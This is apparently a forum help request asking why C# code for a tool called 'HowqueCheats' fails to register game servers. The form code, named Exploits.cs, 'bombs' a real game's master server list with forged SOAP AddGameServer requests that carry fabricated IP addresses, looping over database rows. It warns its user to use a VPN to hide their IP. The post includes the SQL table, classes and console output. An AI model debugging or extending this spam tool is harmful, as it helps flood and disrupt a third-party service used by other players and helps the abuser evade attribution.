This code below is not adding the game server for some reason despite saying it worked. Here's the output, the table, classes and the form code below. The language is in c# and I verified the rows, they're not null and have the right values

CREATE TABLE [dbo].[UserSettings] (
    [UserID]      INT            NOT NULL,
    [Port]        INT            DEFAULT ((52233)) NOT NULL,
    [GameName]    NVARCHAR (255) DEFAULT ('! FUN') NOT NULL,
    [GameMode]    INT            DEFAULT ((1)) NOT NULL,
    [MapName]     NVARCHAR (255) DEFAULT ('Rooftops II') NOT NULL,
    [Players]     INT            DEFAULT ((0)) NOT NULL,
    [MaxPlayers]  INT            DEFAULT ((8)) NOT NULL,
    [Description] NVARCHAR (MAX) DEFAULT ('Join and have fun!') NOT NULL,
    [Version]     NVARCHAR (50)  DEFAULT ('v1.3.7d') NOT NULL,
    [VersionNr]   INT            DEFAULT ((0)) NOT NULL,
    [Servers]     INT            DEFAULT ((1)) NOT NULL,
    PRIMARY KEY CLUSTERED ([UserID] ASC),
    CONSTRAINT [FK_UserSettings_Accounts] FOREIGN KEY ([UserID]) REFERENCES [dbo].[accounts] ([UserID])
);

Button Clicked!
Starting Bombing...
Found 1 user settings.
Processing user 1...
Response Status Code: OK
Response Content: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><AddGameServerResponse xmlns="https://mythologicinteractive.com/Games/SFD/" /></soap:Body></soap:Envelope>
Game Server for user 1 added successfully.
Bombing completed!

Exploits.cs (form)

private async void button2_Click(object sender, EventArgs e)
{
    Console.WriteLine("Button Clicked!"); // Debug output

    DialogResult result = MessageBox.Show("Your IP address will be publicly visible for others.\nMake sure to use a VPN.\n\nAre you sure you want to bomb servers? ",
        "Confirmation", MessageBoxButtons.OKCancel, MessageBoxIcon.Warning);

    if (result == DialogResult.OK)
    {
        try
        {
            Console.WriteLine("Starting Bombing..."); // Debug output

            button2.Enabled = false; // Disable the button during processing
            button2.ForeColor = Color.RoyalBlue;

            await UpdateButtonAsync("BOMBING...", Color.RoyalBlue, 11.25f);

            // Assuming you have a method to get the user settings list
            List<UserSettings> userSettingsList = userSettingsRepository.GetUserSettingsList();

            if (userSettingsList.Count > 0)
            {
                Console.WriteLine($"Found {userSettingsList.Count} user settings.");

                int i = 1; // Initialize i

                foreach (var userSettings in userSettingsList)
                {
                    Console.WriteLine($"Processing user {userSettings.UserID}...");

                    // Incrementing IP addresses for each server
                    string ipv4Address = $"192.168.1.{i}"; // Change this to the desired IP address pattern
                    string ipv6Address = $"2001:db8::{i}"; // Change this to the desired IP address pattern
                    string lipAddress = $"192.168.1.{66 + i}"; // Change this to the desired IP address pattern

                    // Generate a new GUID for ApplicationInstance
                    string applicationInstance = Guid.NewGuid().ToString();

                    // Define the SOAP request template for AddGameServer
                    string soapRequestTemplate = $@"<?xml version=""1.0"" encoding=""utf-8""?>
            <soap:Envelope xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns:soap=""http://schemas.xmlsoap.org/soap/envelope/"">
                <soap:Body>
                    <AddGameServer xmlns=""https://mythologicinteractive.com/Games/SFD/"">
                        <gameServer>
                            <AddressIPv4>{ipv4Address}</AddressIPv4>
                            <AddressIPv6>{ipv6Address}</AddressIPv6>
                            <LIP>{lipAddress}</LIP>
                            <Port>{userSettings.Port}</Port>
                            <GameName>{userSettings.GameName} {i}</GameName>
                            <GameMode>{userSettings.GameMode}</GameMode>
                            <MapName>{userSettings.MapName}</MapName>
                            <Players>{userSettings.Players}</Players>
                            <MaxPlayers>{userSettings.MaxPlayers}</MaxPlayers>
                            <Bots>0</Bots>
                            <HasPassword>false</HasPassword>
                            <Description>{userSettings.Description}</Description>
                            <Version>{userSettings.Version}</Version>
                            <VersionNr>{userSettings.VersionNr}</VersionNr>
                            <ApplicationInstance>{applicationInstance}</ApplicationInstance>
                        </gameServer>
                    </AddGameServer>
                </soap:Body>
            </soap:Envelope>";

                    using (var httpClient = new HttpClient())
                    {
                        var content = new StringContent(soapRequestTemplate, Encoding.UTF8, "text/xml");
                        var responseAddGameServer = await httpClient.PostAsync(soapUrlAddGameServer, content);

                        Console.WriteLine($"Response Status Code: {responseAddGameServer.StatusCode}");
                        Console.WriteLine($"Response Content: {await responseAddGameServer.Content.ReadAsStringAsync()}");

                        if (responseAddGameServer.IsSuccessStatusCode)
                        {
                            Console.WriteLine($"Game Server for user {userSettings.UserID} added successfully.");
                        }
                        else
                        {
                            Console.WriteLine($"Failed to add game server for user {userSettings.UserID}. Status Code: {responseAddGameServer.StatusCode}");
                        }
                    }

                    i++; // Increment i for the next iteration
                }

                Console.WriteLine("Bombing completed!");
            }
            else
            {
                Console.WriteLine("No user settings found.");
            }

            // Enable the button and set the text back to "BOMB SERVERS"
            button2.Enabled = true;
            button2.Text = "BOMB SERVERS";
            button2.ForeColor = Color.RoyalBlue;
        }
        catch (Exception ex)
        {
            Console.WriteLine($"An error occurred: {ex.Message}");
            // Log the exception details
            // Add any additional error handling logic if needed

            // Enable the button and set the text back to "BOMB SERVERS" in case of an error
            button2.Enabled = true;
            button2.Text = "BOMB SERVERS";
            button2.ForeColor = Color.RoyalBlue;
        }
    }
    else
    {
        // Handle the case when the user clicks "Cancel"
        Console.WriteLine("Bombing canceled by the user."); // Debug output
    }
}

UserSettings.cs (class)

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace HowqueCheats
{
    public class UserSettings
    {
        public int UserID { get; set; }
        public int Port { get; set; }
        public string GameName { get; set; }
        public int GameMode { get; set; }
        public string MapName { get; set; }
        public int Players { get; set; }
        public int MaxPlayers { get; set; }
        public string Description { get; set; }
        public string Version { get; set; }
        public int VersionNr { get; set; }
        public int Servers { get; set; }
    }
}




UserSettingsRepository.cs (class)

using System;
using System.Collections.Generic;
using System.Data.SqlClient;
using HowqueCheats;

namespace HowqueCheats
{
    public class UserSettingsRepository
    {
        private string GetConnectionString()
        {
            // Implement your connection string logic here
            return "Data Source=DESKTOP-E8D96UU\\SQLEXPRESS;Initial Catalog=sfd_loader;Integrated Security=True;Encrypt=False";
        }

        public List<UserSettings> GetUserSettingsList()
        {
            List<UserSettings> userSettingsList = new List<UserSettings>();

            string selectQuery = @"SELECT * FROM UserSettings";

            try
            {
                using (SqlConnection connection = new SqlConnection(GetConnectionString()))
                {
                    connection.Open();
                    using (SqlCommand selectCommand = new SqlCommand(selectQuery, connection))
                    {
                        using (SqlDataReader reader = selectCommand.ExecuteReader())
                        {
                            while (reader.Read())
                            {
                                UserSettings userSettings = new UserSettings
                                {
                                    UserID = (int)reader["UserID"],
                                    Port = (int)reader["Port"],
                                    GameName = reader["GameName"].ToString(),
                                    GameMode = (int)reader["GameMode"],
                                    MapName = reader["MapName"].ToString(),
                                    Players = (int)reader["Players"],
                                    MaxPlayers = (int)reader["MaxPlayers"],
                                    Description = reader["Description"].ToString(),
                                    Version = reader["Version"].ToString(),
                                    VersionNr = (int)reader["VersionNr"],
                                    Servers = (int)reader["Servers"]
                                };

                                userSettingsList.Add(userSettings);
                            }
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine($"Error retrieving user settings: {ex.Message}");
            }

            return userSettingsList;
        }
    }
}